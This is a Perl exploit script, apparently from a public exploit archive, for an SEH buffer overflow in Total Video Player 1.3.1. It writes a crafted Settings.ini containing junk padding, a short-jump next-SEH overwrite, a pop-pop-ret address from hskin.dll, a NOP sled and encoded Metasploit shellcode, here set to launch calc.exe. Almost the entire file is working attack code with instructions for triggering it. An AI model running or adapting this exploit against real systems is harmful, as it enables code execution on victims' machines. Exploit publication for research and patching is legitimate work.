#!/usr/bin/perl
#################################################################################################
# Exploit Title: Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow
# Date: 11-24-2013
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: Total Video Player 1.3.1 (http://www.effectmatrix.com/total-video-player/)
# Software Link: http://download.cnet.com/Total-Video-Player/3000-2139_4-10552696.html
# Version: 1.3.1
# Tested On: Windows XP SP3
# To Exploit:
# - Replace Settings.ini file in program folder (e.g., "C:\Program Files\Total Video Player")
# - Start Application
#################################################################################################
my
$buffsize
= 5000;
# sets buffer size for consistent sized payload
my
$header
=
"[Support Groups]\r\nVideo="
;
# start of ini file
my
$footer
=
"\r\n[AssociateType]\r\nAssociateType =1"
;
# end of ini file (after buffer)
my
$junk
=
"\x41"
x 256;
# offset to seh overwrite
my
$nseh
=
"\xeb\x14\x90\x90"
;
# overwrite next seh with jmp instruction (20 bytes)
my
$seh
=
pack
(
'V'
,0x10012848);
# pop ebx pop ebp ret (C:\Program Files\Total Video Player\hskin.dll)
# ASLR: False, Rebase: False, SafeSEH: False, OS: False
my
$nops
=
"\x90"
x 20;
# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/shikata_ga_nai -c 1 -b '\x00\x0a\x0d\xff'
my
$shell
=
"\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9"
.
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92"
.
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84"
.
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e"
.
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1"
.
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27"
.
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb"
.
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b"
.
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2"
.
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37"
.
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3"
.
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef"
.
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb"
.
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf"
.
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83"
.
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3"
.
"\x9a\xca\xc0"
;
my
$sploit
=
$header
.
$junk
.
$nseh
.
$seh
.
$nops
.
$shell
.
$footer
;
# build spoit portion of buffer
my
$fill
=
"\x43"
x (
$buffsize
- (
length
(
$sploit
)));
# fill remainder of buffer with junk for consistent size
my
$buffer
=
$sploit
.
$fill
;
# build final buffer
# write the exploit buffer to file
my
$file
=
"Settings.ini"
;
open
(FILE,
">$file"
);
print
FILE
$buffer
;
close
(FILE);
print
"Exploit file created ["
.
$file
.
"]\n"
;
print
"Buffer size: "
.
length
(
$buffer
) .
"\n"
;